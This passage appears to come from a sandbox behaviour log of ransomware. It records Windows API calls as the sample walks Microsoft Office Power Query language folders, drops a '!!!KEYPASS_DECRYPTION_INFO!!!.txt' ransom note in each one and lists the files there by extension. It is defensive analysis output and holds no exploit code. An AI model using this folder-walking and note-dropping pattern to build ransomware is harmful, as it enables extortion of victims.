out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.635] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ky\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0247.666] GetFileType (hFile=0x6e8) returned 0x1 [0247.666] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.666] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.666] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.666] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.667] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.667] CloseHandle (hObject=0x6e8) returned 1 [0247.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9c88 [0247.668] FindNextFileW (in: hFindFile=0x2ef9c88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.668] FindNextFileW (in: hFindFile=0x2ef9c88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.668] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.668] FindNextFileW (in: hFindFile=0x2ef9c88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.669] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.669] FindNextFileW (in: hFindFile=0x2ef9c88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.669] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.669] FindNextFileW (in: hFindFile=0x2ef9c88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.669] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.669] FindNextFileW (in: hFindFile=0x2ef9c88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.669] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.670] FindNextFileW (in: hFindFile=0x2ef9c88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.670] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.670] FindNextFileW (in: hFindFile=0x2ef9c88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.670] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.670] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.670] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.670] GetLastError () returned 0x3f0 [0247.670] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.670] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lb\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0247.687] GetFileType (hFile=0x6e4) returned 0x1 [0247.688] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.688] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.688] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.688] WriteFile (in: hFile=0x6e4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.689] WriteFile (in: hFile=0x6e4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.689] CloseHandle (hObject=0x6e4) returned 1 [0247.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2efa148 [0247.689] FindNextFileW (in: hFindFile=0x2efa148, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.689] FindNextFileW (in: hFindFile=0x2efa148, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.689] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.689] FindNextFileW (in: hFindFile=0x2efa148, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.689] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.689] FindNextFileW (in: hFindFile=0x2efa148, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.689] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.690] FindNextFileW (in: hFindFile=0x2efa148, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.690] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.690] FindNextFileW (in: hFindFile=0x2efa148, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.690] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.690] FindNextFileW (in: hFindFile=0x2efa148, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.690] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.690] FindNextFileW (in: hFindFile=0x2efa148, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.690] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.690] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Localytics.dll") returned=".dll" [0247.690] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.690] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.690] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.690] GetLastError () returned 0x3f0 [0247.690] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.690] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f0 [0247.769] GetFileType (hFile=0x6f0) returned 0x1 [0247.769] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.769] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.769] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.769] WriteFile (in: hFile=0x6f0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.770] WriteFile (in: hFile=0x6f0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.770] CloseHandle (hObject=0x6f0) returned 1 [0247.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9e48 [0247.770] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.770] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.771] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0247.771] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.771] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.771] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.771] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.771] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.771] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0247.771] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0247.771] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.771] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0247.771] FindNextFileW (in: hFindFile=0x2ef9e48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.771] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.771] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.771] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.772] GetLastError () returned 0x3f0 [0247.772] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.772] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f4 [0247.798] GetFileType (hFile=0x6f4) returned 0x1 [0247.798] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.798] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.798] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.799] WriteFile (in: hFile=0x6f4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.799] WriteFile (in: hFile=0x6f4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.800] CloseHandle (hObject=0x6f4) returned 1 [0247.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2efa1c8 [0247.800] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.800] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.800] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.800] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.800] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0247.800] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.800] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.800] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.800] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.800] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.800] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.800] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.800] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.800] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.801] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.801] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.801] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0247.801] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.801] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0247.801] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.801] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0247.801] FindNextFileW (in: hFindFile=0x2efa1c8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.801] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.801] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mashupcompression.dll") returned=".dll" [0247.801] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.801] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.801] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.801] GetLastError () returned 0x3f0 [0247.801] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.801] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\mi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8 [0247.826] GetFileType (hFile=0x6f8) returned 0x1 [0247.826] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.826] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.826] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.826] WriteFile (in: hFile=0x6f8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.827] WriteFile (in: hFile=0x6f8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.827] CloseHandle (hObject=0x6f8) returned 1 [0247.827] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2efa248 [0247.828] FindNextFileW (in: hFindFile=0x2efa248, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.828] FindNextFileW (in: hFindFile=0x2efa248, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.828] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel 